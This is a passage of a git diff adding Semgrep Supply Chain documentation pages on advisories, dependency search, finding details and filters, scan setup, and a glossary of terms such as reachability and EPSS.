+title: "View advisories and search for related findings"
+sidebarTitle: "Advisories"
+---
+
+
+**PREREQUISITE**
+
+At least one project (a repository or subfolder in a monorepo) that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/getting-started).
+
+
+
+The **Advisories** page lets you view the vulnerability announcements relevant to your Semgrep organization. These are typically, but not always, associated with a [Common Vulnerabilities and Exposures (CVE)](https://www.cve.org/) number. This page also helps you identify all findings related to a given advisory.
+
+## View advisories
+
+To see the advisories relevant to your Semgrep organization:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
+
+
+
+You can use the filters available to narrow down the results displayed:
+
+| Filter | Description |
+| :--- | :--- |
+| Advisory | The title of the advisory or its associated CVE. |
+| Language | The language for which the advisory is applicable. |
+| Severity | The severity of the findings relevant to the advisory. |
+| Analysis type | The reachability type of the findings relevant to the advisory. |
+
+
+### Advisory details
+
+For each advisory listed, you can click the entry to view additional details, including:
+
+- A description
+- Reference links
+- The rule Semgrep uses to match your code
+- Affected projects
+
+## Identify findings associated with an advisory
+
+You can use the **Advisories** page to see if any of your projects are affected by a specific incident:
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
+
+
+Using the **Advisory** filter, provide the relevant CVE or keywords.
+
+
+Click the advisory in the results list to open up the **Advisory Details** dialog.
+
+
+Go to **Affected projects**.
+
+
+
+Semgrep displays the number of relevant findings on each of the project's branches for each of the advisories' **affected projects**. Clicking the displayed number takes you to the **Findings** page, where you can see in-depth information about each issue.
diff --git a/mintlify-docs/semgrep-supply-chain/dependency-search.mdx b/mintlify-docs/semgrep-supply-chain/dependency-search.mdx
new file mode 100644
index 0000000000..19455dfc31
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/dependency-search.mdx
@@ -0,0 +1,191 @@
+---
+title: "View and search for dependencies"
+---
+
+
+**PREREQUISITE**
+
+At least one project (a repository or subfolder in a monorepo) that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/getting-started).
+
+
+
+Semgrep Supply Chain's dependency search feature allows you to view and query for any dependency in your project at any time. This feature detects all transitive and direct dependencies across all of your projects in Semgrep AppSec Platform. Dependency search lists all the versions of a dependency, as well as the projects that use the dependency.
+
+For newly discovered vulnerabilities, which may not yet have a formal CVE or Supply Chain rule, you can use dependency search to see if you use the vulnerable dependency in any of your repositories. You can also use dependency search to see all the versions of a dependency, which can be useful for standardization purposes.
+
+## Enable and use dependency search
+
+To search your dependencies:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Settings > General > Supply Chain**.
+
+
+Click **Dependency search** if it's not already enabled.
+
+
+Navigate to **Supply Chain > Dependencies**.
+
+
+
+At this point, Semgrep displays the manifest files or lockfiles that it has used to determine dependency information and the dependencies included in each of the manifest files or lockfiles.
+
+### View additional manifest files or lockfiles
+
+By default, Semgrep only displays dependencies listed in a given project's first **10** manifest files or lockfiles. To load information from additional files:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to **Supply Chain > Dependencies**, and scroll to the bottom of the page.
+
+
+Click **Fetch more lockfiles**.
+
+
+
+## Search for dependencies
+
+To search for dependencies:
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to **Supply Chain > Dependencies**.
+
+
+Using the **Dependency** search bar, enter the name of the dependency you are searching for.
+
+
+Optional: Apply filters as necessary for your search.
+
+
+
+### Filter results by version number
+
+To filter your results by version number:
+
+
+
+Enter the dependency name and press **Enter** or **Return**. This returns a list of matches, but you can then filter your results further by version number:
+
+ i. Click the name of your dependency to open the **Dependency** dialog:
+
+ ii. To search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
+
+ iii. To search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
+
+ iv. Click **Apply** to save your changes and see your results.
+
+
+
+You can also use the **Advanced search** to search for specific versions of dependencies:
+
+
+
+Click **Advanced search**.
+
+
+Enter the **Dependency** name.
+
+
+To specify a **version** number, click **Exact match**. For a range, click **Range** and provide the minimum and maximum versions.
+
+
+**Optional**: to search for a **specific version** of a package, click **Exact match**, then enter the **version** number.
+
+
+**Optional**: to search for a **range of versions**, click **Range**, then enter the minimum and maximum versions.
+
+
+
+You can search for multiple packages simultaneously.
+
+## Search filters
+
+Dependency search provides the following filters, which correspond to the data points displayed by Semgrep about each dependency:
+
+| Filter | Description |
+| :--- | :--- |
+| Dependency | The name and version of the dependency. |
+| Projects | The projects where the dependency can be found. |
+| Transitivity| The relationship of the dependency to your codebase. |
+| License Policy | The License Policy you set. Determines whether a dependency can be used based on its license. |
+| License | The dependency's license type. |
+| Language | The language of the dependency. |
+
+## Dependency paths (beta)
+
+
+**INFO**
+
+This feature is currently in invite-only beta. Please contact [Semgrep Support](/support) for more information.
+
+
+
+The Dependency paths feature allows you to view dependency paths for all transitive dependencies introduced in a project, up to seven layers of depth. With this information, you can understand:
+
+- How a transitive dependency was introduced
+- How deeply the transitive dependency is nested in the dependency tree.
+
+### Supported languages
+
+Semgrep generates dependency paths for most C#, Java, JavaScript, Kotlin, and Python projects.
+
+#### C#
+
+Semgrep generates dependency paths for C# projects using NuGet.
+
+#### Java
+
+Semgrep generates dependency paths for Java projects that include a `maven_dep_tree.txt` file whenever you invoke a scan using `semgrep ci`.
+
+Semgrep can also generate dependency paths for Java projects with lockfiles and Java projects **without lockfiles** if they're built using Maven or Gradle with the help of the Gradle Wrapper. Dependency paths for such projects are available when [scanning without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+#### JavaScript
+
+Semgrep generates dependency paths for JavaScript projects that use `npm`, `yarn`, or `pnpm` and include a lockfile whenever you invoke a scan using `semgrep ci`.
+
+#### Kotlin
+
+Semgrep generates dependency paths for Kotlin projects built using Maven when a `maven_dep_tree.txt` file is present, and for Maven or Gradle when [scanning without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+#### Python
+
+Semgrep generates dependency paths for Python projects that use the following package managers:
+
+- `poetry` and `poetry.lock` file
+- `uv` (requires Semgrep version `1.127.0` or later)
+
+Semgrep also generates dependency paths for Python projects that use the following package managers:
+
+- `Pipenv`
+- `piptools`
+- `pip` with `requirements.txt`
+
+when [scanning without lockfiles](/semgrep-supply-chain/getting-started#scan-a-project-without-lockfiles-beta).
+
+### View the dependency path
+
+After you have been added to the Dependency paths beta and a new scan completes on a repository, view the dependency paths in Semgrep AppSec Platform on:
+
+- The **Finding Details** page for a transitive finding
+- The **Supply Chain > Dependencies** tab when you view a transitive dependency; click **Transitive** to see the dependency path
+
+## Troubleshooting: no dependencies appear on the Dependencies page
+
+If you don't see any results on the Dependencies page, ensure that:
+
+* Semgrep Supply Chain supports your manifest file or lockfile. Refer to [Supported languages](/supported-languages) for a list of supported languages, manifest files, and lockfiles.
+* Your filters and search syntax are correct.
+* You've performed a full scan of the repository at least once since enabling dependency search. Only dependencies detected during full scans are shown on the **Dependencies** page.
+
+If you're having trouble seeing dependencies after a scan, see [Why aren't Supply Chain findings showing?](/kb/semgrep-supply-chain/why-no-findings) for additional troubleshooting tips.
diff --git a/mintlify-docs/semgrep-supply-chain/finding-details.mdx b/mintlify-docs/semgrep-supply-chain/finding-details.mdx
new file mode 100644
index 0000000000..7460dd0c27
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/finding-details.mdx
@@ -0,0 +1,71 @@
+---
+title: "View findings details"
+description: "The finding's details page displays in-depth information about the finding, including:"
+---
+
+- A detailed description of the finding
+- Rule details, including the severity level, EPSS scores, and identifiers such as the CVE ID
+- Finding details, such as whether the finding is reachable, when the finding was identified, and the projectname, branch name, and commit ID where the issue was introduced
+- Remediation suggestions
+- The code snippet where the issue was identified, along with a link to the source code where Semgrep identified the issue
+- Dependency path information
+- Activity history for the finding, including when it was first identified, whether it has been analyzed by Semgrep Multimodal, whether there are any accompanying Jira tickets, notes written by other Semgrep users specifically about this finding, and more.
+
+## View a finding's details
+
+To view a finding's details page:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)**.
+
+
+Identify the finding whose details you want to view:
+- If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+- If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+
+## Available actions on the finding details' page
+
+Click on the **kebab** icon to see the menu that includes the following options:
+
+- **Mark as reviewing** to change its status to **Reviewing** and flag the finding as one that is under further manual review
+- **Copy file path** of the source code where Semgrep identified the issue
+- **Copy link** to the finding's details page
+
+### Ignore the finding
+
+Click **Ignore...** to ignore the finding. Provide an **Ignore reason**, and add **Comments** on why you think that this finding should be ignored.
+
+If the file for the finding in question is a test file or something similar, you can choose the **Ignore files in future scans...** option, then select the file. Semgrep ignores the file in subsequent scans.
+
+Click **Ignore** to proceed.
+
+### Fix the finding
+
+Click **Fix** see the menu that includes the following options:
+
+- View the associated Jira ticket, if available
+- Open a PR that fixes the issue, if possible
+- Change the status of the issue as **To fix**, indicating that you plan to return to the finding in the future
+
+Note that Semgrep automatically marks findings as fixed when they're no longer detected in subsequent scans.
+
+### Add notes to findings
+
+To **add notes** to the activity history of a finding:
+
+
+
+Select a finding where you want to view details or add notes, and then do one of the following actions:
+- If the default **Group by Rule** is enabled, click **Details** icon on the card of the finding.
+- If **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+
+Go to the **Activity** section, then click **New note**.
+
+
diff --git a/mintlify-docs/semgrep-supply-chain/findings.mdx b/mintlify-docs/semgrep-supply-chain/findings.mdx
new file mode 100644
index 0000000000..e841fe5052
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/findings.mdx
@@ -0,0 +1,259 @@
+---
+title: "View findings in Semgrep AppSec Platform"
+sidebarTitle: "View findings"
+---
+
+
+Semgrep Supply Chain generates a **finding** when a rule matches a piece of code in your codebase. You can use Semgrep AppSec Platform's [**Supply Chain** page](https://semgrep.dev/orgs/-/supply-chain) to view all of the findings generated by Semgrep Supply Chain after it scans your codebase. Additionally, you can use the **Supply Chain > Dependencies** tab to view information about your dependencies across all onboarded repositories.
+
+
+**PREREQUISITE**
+
+At least one repository that scans for dependencies through Semgrep Supply Chain. See [Scan third-party dependencies](/semgrep-supply-chain/getting-started).
+
+
+
+## View findings
+
+To view your findings in Semgrep AppSec Platform:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Supply Chain](https://semgrep.dev/orgs/-/supply-chain)**.
+
+
+
+By default, Semgrep displays your **Priority** findings. Priority findings are defined as findings that:
+
+- Have a severity level of **critical** or **high**
+- Are **reachable**
+
+You can switch to the **All** tab at any point to view all findings identified by Semgrep Supply Chain. Both the **Priority** findings view and the **All** findings view display high-level information about your findings.
+
+
+**LOCAL SCANS**
+
+Findings from local scans are differentiated from their remote counterparts through their slugs. Remote repositories are identified as ACCOUNT_NAME/REPOSITORY_NAME, while local repositories are identified as local_scan/REPOSITORY_NAME.
+
+
+
+### Custom Priority tab
+
+Semgrep admins can create a custom priority definition to change the findings shown on the **Priority** tab. To do so:
+
+
+
+Log in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+In the **Navigation bar**, click **[Code](https://semgrep.dev/orgs/-/findings)**. Ensure that you're viewing the **Priority**.
+
+
+Using the provided filters, set your parameters for priority findings.
+
+
+Click **Save**.
+
+
+You'll see a dialog window asking you to confirm that you want the changes saved for everyone. Click **Save** to proceed.
+
+
+
+This change applies to the entire Semgrep organization. You cannot have separate priority definitions for individual users or teams.
+
+## Filter findings
+
+Regardless of whether you use the **Priority** findings view or the **All** findings view, there are multiple grouping and filtering options available to you.
+
+### Time period
+
+The time period filters allow you to see which vulnerabilities were opened, fixed, or triaged during a certain period of time. The time period filter is **not** additive; it is a filter operation that precedes other filters on the page. For example, if you select **Last triaged** and select the status **Status Open** filter, no findings appear because, by definition, there are no triaged findings that are also open.
+
+The following filters are available:
+
+- Triage state update action:
+ - Opened in
+ - Triaged in
+ - Fixed in
+- Time period:
+ - Last day
+ - Last 7 days
+ - Last 30 days
+ - Last 3 months
+ - Last 6 months
+ - Last year
+ - All time
+
+### Project
+
+The **Project** filter allows you to search for findings associated with the selected projects.
+
+### Status
+
+The **Status** filter allows you to search for findings in the selected statuses, which are the triage states of the findings:
+
+* **Open**: Findings for which there have been no triage or remediation action.
+* **Reviewing**: Findings that require more investigation to determine what the next steps should be.
+* **To fix**: Findings that you have decided to fix. Commonly used to indicate that these findings are tracked in Jira or assigned to developers for further work.
+* **Provisionally ignored**: Unreachable findings.
+* **Ignored**: Vulnerabilities that have been triaged as **Ignored** by the user. You can filter findings with a status of **Ignored** further by reason: **False positive**, **Acceptable risk**, **No time to fix**, or **No triage reason**.
+* **Closed**: Vulnerabilities that are no longer detected after a scan. This typically means that the dependency containing the vulnerability has been updated. Semgrep Supply Chain automatically checks if the dependency has been updated and sets the vulnerability's status as **Fixed**.
+
+### Additional filters
+
+Semgrep offers additional filters that you can use to narrow down your results. The following filters are available:
+
+| Filter | Description |
+| :--- | :--- |
+| **Severity** | The severity of a finding. Filters are based on the severity of a vulnerability. Semgrep Supply Chain rules use severity values set by the source of the rule, such as [GitHub Advisory Database](https://github.com/advisories). |
+| [**Reachability**](#reachability) | The finding's exposure, or whether it is reachable. |
+| [**EPSS probability**](#epss-probability) | The finding's [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/). |
+| **Upgrade guidance (beta)** | The impact of a dependency upgrade on your project as determined by Multimodal. |
+| **Dependencies** | The name of the dependency involved. |
+| **Advisory** | The vulnerabilities' ID number, such as CVE, GHSA, MAL, or keyword. |
+| **Malicious dependency** | Whether the finding is for a malicious dependency |
+| **Project** | The tags associated with the project. |
+| **Multimodal file risk level** | Filter by the risk level determined by Semgrep Multimodal. |
+
+
+### EPSS probability
+
+The [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/) represents the likelihood that the vulnerability will be exploited in the wild in the next 30 days. Its values range from 0% to 100%. The higher the score, the greater the probability the vulnerability will be exploited. Semgrep groups probabilities as follows:
+
+* High: 50 - 100%
+* Medium: 10 - <50%
+* Low: <10%
+
+### Reachability
+
+The finding's exposure to potential attacks, or whether it is reachable.
+
+* **Reachable**: A finding is reachable if there's a vulnerable function call or vulnerable package in use. The finding should be addressed as soon as possible.
+ * **Malicious dependency**: A finding that indicates the use of a dangerous package, or dangerous version of a package, that are designed to compromise systems.
+ * **Reachable in code**: A finding is reachable in code if there's a code pattern in the codebase that matches the vulnerability definition.
+ * **Always reachable**: A finding is always reachable if it's something Semgrep recommends fixing, regardless of what's in the code.
+* **Needs review**: A finding that requires manual triage and review; follow the instruction provided.
+ * **Conditionally reachable**: A finding is conditionally reachable if Semgrep finds a way to reach it when scanning your code when certain conditions are met.
+ * **No Reachability Analysis**: A finding that Semgrep doesn't scan for reachability.
+* **Unreachable**: No vulnerable function call found. This finding can be deprioritized.
+
+### Transitivity
+
+The transitivity of the finding:
+
+* **Direct**: Your project depends directly on the dependency.
+* **Transitive**: Your project's dependency depends on a vulnerable dependency.
+* **Undetermined**: Semgrep had no transitivity information for the dependency as it relates to your project.
+
+### Upgrade guidance (beta)
+
+The impact of a dependency upgrade on your project as determined by Multimodal:
+
+- **Safe**: There are unlikely to be breaking changes.
+- **Breaking**: Introduces breaking changes; code modifications required.
+
+## Group and sort findings
+
+You can view findings individually or grouped by the rule that identified the finding.
+
+By default, Semgrep displays your findings using the **Group by Rule** view. This view shows your findings grouped by the rule Semgrep used to match the code. Your findings are shown sorted **by severity**, but you can opt to sort **by number of findings** for a given rule.
+
+A specific finding in the code is called a **usage**. Vulnerability entries are sorted as cards by severity from critical to low, then from oldest to newest.
+
+
+## Export findings
+
+You can export findings to a **CSV** file. Semgrep can export up to **10,000 most recent findings**. To export more than 10,000 findings, you must use the [ API](https://semgrep.dev/api/v1/).
+
+Semgrep exports all findings to the CSV file regardless of the filters you apply on the page.
+
+Export findings by navigating to the product page and clicking the ** icon** near the **Group & Sort** filters.
+
+
+
+| Field | Description |
+| :--- | :--- |
+| Id | The unique ID number of the finding. |
+| Rule name | The name of the rule. |
+| Product | The Semgrep product. Possible values are **Code**, **Code (AI)**, **Supply Chain**, or **Secrets**. |
+| Severity | The finding's severity. Possible values are **Critical**, **High**, **Medium**, or **Low**. |
+| Status | The finding's triage status. |
+| Confidence | Filter by the likelihood of the rule to detect true positives. The higher the confidence, the more true positives the rule may detect. |
+| Multimodal component | A descriptor, such as `API`, `Payments processing`, `Infrastructure`, that Multimodal tags the finding with, based on the code's context. |
+| Repository name | The name of the repository where Semgrep found the finding. |
+| Repository URL | The repository URL. |
+| Line of code URL | The URL to the specific line of code where the finding match began. A finding may be several lines long. |
+| Semgrep platform link | A link to the finding's **Details** page in Semgrep AppSec Platform. |
+| Created at | The time the finding was created in your timezone. |
+| Last Opened at | The time the finding was last opened. |
+| Branch | The name of the branch where the finding was detected. |
+| Triaged at | The most recent time that the finding was triaged. |
+| Triage comment | A triage comment created by the user. |
+| Triage reason | The reason why the finding was triaged, created by the user. |
+| Rule description | The description of the rule. This is the same as the rule's `message` key. |
+
+The following fields are exclusive to **Code** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Confidence | The finding's confidence. Possible values are **High**, **Medium**, or **Low**. Only Semgrep Supply Chain and Code findings provide this field. |
+| Category | The finding's category, such as **best practices**, **security**, or **correctness**. |
+| Is pro rule | Boolean value that returns `TRUE` if the rule that generated the finding is a pro rule. |
+| Assistant triage result | Provides Semgrep Multimodal's assessment. Possible values are `True positive` or `False positive`. These values appear only if Multimodal is enabled. |
+| Assistant triage reason | A short AI-generated reason why Multimodal thinks the finding is a true or false positive. These values appear only if Multimodal is enabled. |
+
+The following fields are exclusive to **Supply Chain** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Dependency | The name of the dependency where the findings was found. |
+| Reachability | The reachability status of the finding, such as **Reachable**, **No Reachability Analysis**, or **Unreachable**. |
+| Transitivity | States whether the finding originates from a direct or transitive dependency. |
+| CVE | The CVE number that the finding is assigned to. |
+| EPSS | The EPSS score, which estimates the likelihood that a software vulnerability can be exploited in the wild. |
+
+The following fields are exclusive to **Secrets** scans:
+
+| Field | Description |
+| :--- | :--- |
+| Secret type | Possible values include **AI-detected**, **Generic secret**, **Connection URI**, and so on. |
+| Validation | States whether or not the secret was validated. |
+| Project visibility | States whether the project (repository) is public or private. This feature supports GitHub-hosted repositories only. It returns an **Unknown** value for non-GitHub SCMs. |
+
+
+## View details about a specific finding
+
+To view in-depth information about a specific finding, select the finding whose details you want to view. Then:
+
+- If the default **Group by Rule** is enabled, click the **Details** icon on the card of the finding.
+- If the **No grouping** view is enabled, click the **header hyperlink** on the card of the finding.
+
+The finding's details page displays in-depth information about the finding. It also allows you to perform actions such as updating the finding's status as needed, viewing links to any integrations available, such as associated Jira tickets, and communicating with your team regarding the finding. For example, you can add notes to the finding that anyone with access to the finding can see.
+
+## How Semgrep displays findings on multiple branches
+
+A **single** finding may appear in several branches. These appearances are called **instances** of a finding. Several instances of the same finding may differ in which line of code (LOC) they are on or in their triage state. For example, on `production` the finding may be on line 20, but the same finding was moved further to line 26 in `feature-branch-a`.
+
+Semgrep automatically recognizes that they are fundamentally the same finding and deduplicates these instances so that you do not get an inflated count of findings per ref that the finding is present in.
+
+By default, the Supply Chain page displays findings from the [primary branches](/deployment/primary-branch) of all repositories (projects), arranged by most recent scan. You are viewing the **primary branch's instance** of that finding, so you may see variations in LOC or triage state when comparing the finding across branches.
+
+When filtering by primary branch and triage status, the filters are applied based on the **triage status of the finding on the primary branch**. This means that on some feature branches, the instance may already be **Fixed**, but on the primary branch, the finding is still **Open**. The finding status on the primary branch is updated when the PR or MR is merged and Semgrep has scanned the code.
+
+
+**TIP**
+
+- If you do not see any findings, or there are zero findings after a scan has concluded, check the **Projects** page to view the findings count, if any, and to set a [primary branch](/deployment/primary-branch), if it is not already set.
+- The total count of findings in the **Projects** page is based on the **primary branch**.
+
+
+
+## Next steps
+
+- Learn more about [viewing a finding's details](/semgrep-supply-chain/finding-details).
+- Learn how to [triage and remediate Semgrep Code findings](/semgrep-supply-chain/triage-and-remediation).
+- Learn how to [manage your Supply Chain policies](/semgrep-supply-chain/policies)
+- Learn how to [ignore manifest files, lockfiles, and dependencies](/semgrep-supply-chain/ignoring-dependencies) to minimize noise in your results.
diff --git a/mintlify-docs/semgrep-supply-chain/getting-started.mdx b/mintlify-docs/semgrep-supply-chain/getting-started.mdx
new file mode 100644
index 0000000000..7ce498afa0
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/getting-started.mdx
@@ -0,0 +1,144 @@
+---
+title: "Scan third-party dependencies"
+---
+
+
+This article walks you through the setup needed to scan your project with Semgrep Supply Chain and its configuration and customization options. Once you enable Semgrep Supply Chain, it automatically scans repositories that you have added to Semgrep AppSec Platform, but your repository must first meet the requirements for a successful scan.
+
+## Project directory structure
+
+To scan your project with Semgrep Supply Chain, it must use a [supported package manager and supported file names](/semgrep-supply-chain/sca-package-manager-support).
+
+Semgrep Supply Chain can correctly parse code files, manifest files, and lockfiles in subfolders as well. Code files that use the dependencies in the manifest file or lockfile must be nested in the same directory as the manifest file or lockfile. Manifest files and lockfiles must all use supported file names.
+
+In the following example, Semgrep Supply Chain assumes that all code files using the dependencies in `my-project/running/lockfile.json` are nested in `my-project/running/` or deeper directories.
+
+```
+/my-project
+├───/running
+│ ├───lockfile.json
+│ ├───bar.js
+│ └───/uphill
+│ ├───lockfile.json
+│ └────foo.js
+├───/biking
+```
+
+If you have code files in `my-project/biking,` Semgrep Supply Chain does not associate them with the dependencies in `my-project/running/lockfile.json.` If there is another manifest file or lockfile in `my-project/running`, such as `my-project/running/uphill/lockfile.json`, then this overrides the original `my-project/running/lockfile.json` for all code files in `my-project/running/uphill/` or deeper directories.
+
+
+## Enable Semgrep Supply Chain
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **[Settings > General > Supply Chain](https://semgrep.dev/orgs/-/settings/general/supplyChain)**.
+
+
+Click the ** Supply Chain scans** toggle if it is not already enabled.
+
+
+
+## Scan frequency
+
+You can modify your CI configuration so that Semgrep Supply Chain scans your code at a specified frequency or whenever a specific event occurs, such as opening a pull request or merge request.
+
+### Rule updates
+Semgrep Supply Chain frequently receives rule updates. To take advantage of these updates, adjust the frequency with which Semgrep Supply Chain scans your codebase.
+
+If a rule is updated, findings generated against the revised rule are considered **new findings**, even if the previous version generated a finding. The new finding is not affected by any triage actions on findings related to the prior version of the rule. Because the finding is new, you'll also receive notifications through the channels you've set up, such as Slack.
+
+### Schedule scans
+
+The following table is a summary of methods and resources to set up schedules for different CI providers.
+
+| CI provider | Where to set schedule |
+| :--- | :--- |
+| GitHub Actions | See [Sample CI configs](/semgrep-ci/sample-ci-configs#sample-github-actions-configuration-file) for information on how to modify your `semgrep.yml` file |
+| GitLab CI/CD | Refer to [GitLab documentation](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) |
+| Jenkins | Refer to [Jenkins documentation](https://www.jenkins.io/doc/book/pipeline/running-pipelines/#scheduling-jobs-in-jenkins) |
+| Bitbucket Pipelines | Refer to [Bitbucket documentation](https://support.atlassian.com/bitbucket-cloud/pipeline-triggers/) |
+| CircleCI | Refer to [CircleCI documentation](https://circleci.com/scheduled-pipelines#get-started-with-scheduled-pipelines-in-circleci) |
+| Buildkite | Refer to [Buildkite documentation](https://buildkite.com/pipelines/scheduled-builds) |
+| Azure Pipelines | Refer to [Azure documentation](https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops&tabs=yaml)
+| Semaphore | Refer to [Semaphore documentation](https://docs.semaphore.io/using-semaphore/tasks)
+
+### Event-triggered scans
+
+You can configure your CI/CD system to trigger a Semgrep Supply Chain scan whenever one of the following events occurs:
+
+
+
+## Dynamic Dependency Resolution (beta) to scan without lockfiles
+
+
+**INFO**
+
+This feature is currently in beta. Please contact [Semgrep Support](/support) for more information.
+
+
+Semgrep Supply Chain can use **Dynamic Dependency Resolution** to scan projects without requiring lockfiles. This simplifies the configuration of Supply Chain scans. See [Feature support](/semgrep-supply-chain/sca-feature-support) for more information.
+
+## CLI Scans, including self-managed CI systems
+
+1. Ensure that the environment where you run Semgrep scans has installed all of the dependencies required to build your project, such as Java and Maven or Python and pip.
+2. Initiate a Semgrep scan, ensuring that you include the `--allow-local-builds` flag to enable Semgrep to invoke package managers on the system:
+ ```console
+ semgrep ci --allow-local-builds
+ ```
+ For existing CI jobs, you may have to edit your configuration file to include this flag.
+
+ This flag allows Semgrep to build the project, if needed, to dynamically resolve dependencies. Semgrep uses the build information included in the `pom.xml` or `build.gradle` file to determine the set of dependencies used by the project.
+
+## Semgrep Managed Scans
+
+
+
+[Configure private registry credentials](/semgrep-supply-chain/triage-and-remediation#connect-a-private-registry-to-semgrep) in **Settings > Integrations**. Note that only Maven registries are currently supported for Managed Scans.]
+
+
+Contact [Semgrep Support](/support) to enable Dynamic Dependency resolution for the necessary repositories.
+
+
+
+## Run a scan using the CLI
+
+You can start a stand-alone Semgrep Supply Chain scan by running the following command in the CLI:
+
+```console
+semgrep ci --supply-chain
+```
+
+Semgrep prints a list of findings directly to the CLI, including the finding's reachability determination, severity level, a brief description, and suggested remediation.
+
+You can also view your results in Semgrep AppSec Platform. It displays all of the information displayed in the CLI, but it also offers you the ability to:
+
+* [See additional finding details](/semgrep-supply-chain/findings), such as whether the finding is always reachable or if it's reachable if certain conditions are met, and its transitivity status
+* Use the [dependency search](/semgrep-supply-chain/dependency-search) feature
+* Use the [license compliance](/semgrep-supply-chain/license-compliance) feature
+
+## Scan a monorepo's dependencies
+
+Semgrep Supply Chain supports the scanning of monorepos. As outlined in [Project directory structure](#project-directory-structure), findings are grouped by directory based on the manifest file or lockfile present in the monorepo.
+
+## Block pull requests or merge requests
+
+You can comment on or potentially block pull requests or merge requests by defining a [Supply Chain Policy](/semgrep-supply-chain/policies).
diff --git a/mintlify-docs/semgrep-supply-chain/glossary.mdx b/mintlify-docs/semgrep-supply-chain/glossary.mdx
new file mode 100644
index 0000000000..971022463c
--- /dev/null
+++ b/mintlify-docs/semgrep-supply-chain/glossary.mdx
@@ -0,0 +1,109 @@
+---
+title: "Semgrep Supply Chain glossary"
+description: "The terms and definitions provided here are specific to Semgrep Supply Chain."
+sidebarTitle: "Supply Chain glossary"
+---
+
+## Advisory
+
+Announcement of a vulnerability, typically but not always with an associated [Common Vulnerabilities and Exposures (CVE)](https://www.cve.org/) number. All Advisories can be found by Semgrep Supply Chain rules. [Advisories](/semgrep-supply-chain/advisories) can be seen on [**Rules & Policies > Advisories**](https://semgrep.dev/orgs/-/advisories).
+
+## Dependency
+
+Publicly available code used as a part of your application. Common examples include Flask, React, and Lodash. Each dependency is listed in a registry, such as npm for JavaScript and PyPI for Python.
+
+## Exploitability
+
+Exploitability is the practical assessment of a vulnerability's threat, typically proved with a real proof of exploit. Proving exploitability is often the last step of triaging a vulnerability.
+
+## EPSS probability
+
+The [Exploit prediction scoring system (EPSS) probability](https://www.first.org/epss/) represents the likelihood that the vulnerability will be exploited in the wild in the next 30 days. Its values range from 0% to 100%. The higher the score, the greater the probability the vulnerability will be exploited. Semgrep groups probabilities as follows:
+
+* **High**: 50 - 100%
+* **Medium**: 10 - <50%
+* **Low**: <10%
+
+## Lockfile
+
+A lockfile describes a dependency tree to ensure that deployments and organizations install the same **dependencies and exact versions** for their codebase. Lockfile information includes versions of the dependency and any transitive (indirect) dependencies. Lockfiles are automatically generated by a package manager such as `pip` or `npm`.
+
+Semgrep Supply Chain uses lockfiles as part of its analysis to determine the exact version of a dependency that a codebase is using.
+
+## Rules without reachability analysis
+
+Some Semgrep Supply Chain rules do not perform reachability analysis. These rules only check a package's version against versions with known vulnerabilities. These rules produce vulnerabilities similar to GitHub Dependabot's results, and have a higher false positive rate than reachability rules.
+
+Compare its opposite: [Reachability-rules](#reachability-rules).
+
+## Manifest file
+
+A manifest file describes the dependencies used in your codebase. In a manifest file, a dependency may indicate a range of versions. A package manager reads the manifest file when installing dependencies into a specific implementation of your codebase, then generates a manifest file specifying the exact version of each dependency installed and any transitive dependencies.
+
+Semgrep Supply Chain uses manifest files to resolve transitive dependencies for some languages. For more information, see [Supported languages](/supported-languages#semgrep-supply-chain).
+
+## Package manager
+
+A software tool that interacts with a package registry to download, upload, or search for dependencies. Package managers typically generate manifest files or lockfiles by analyzing manifest files.
+
+## Package registry
+
+A package registry stores dependencies and provides a means to upload or download dependencies. Each programming language has its own separate registry such as npm for JavaScript and PyPI for Python.
+
+## Reachable finding (and reachable vulnerability)
+
+A reachable finding means that you are using both a vulnerable code pattern (the **usage**) and the vulnerable version of a dependency. Within Semgrep Supply Chain, specific findings (usages) are grouped together by their vulnerability.
+
+CI scans with Semgrep Supply Chain rules can block pull requests or merge requests upon detecting any reachable findings.
+
+See also [Reachability](#reachability).
+
+## Reachability
+
+Reachability refers to whether or not a vulnerable code pattern from a dependency is used in the codebase that imports it. In Semgrep Supply Chain, both a dependency's vulnerable version and code pattern must match for a vulnerability to be considered reachable.
+
+See [Overview of Semgrep Supply Chain](/semgrep-supply-chain/overview) to learn how Semgrep leverages its code-scanning and rule syntax capabilities to provide high-signal rules that determine a finding's reachability. This assists security engineers in remediation and triage processes.
+
+## Reachability rules
+
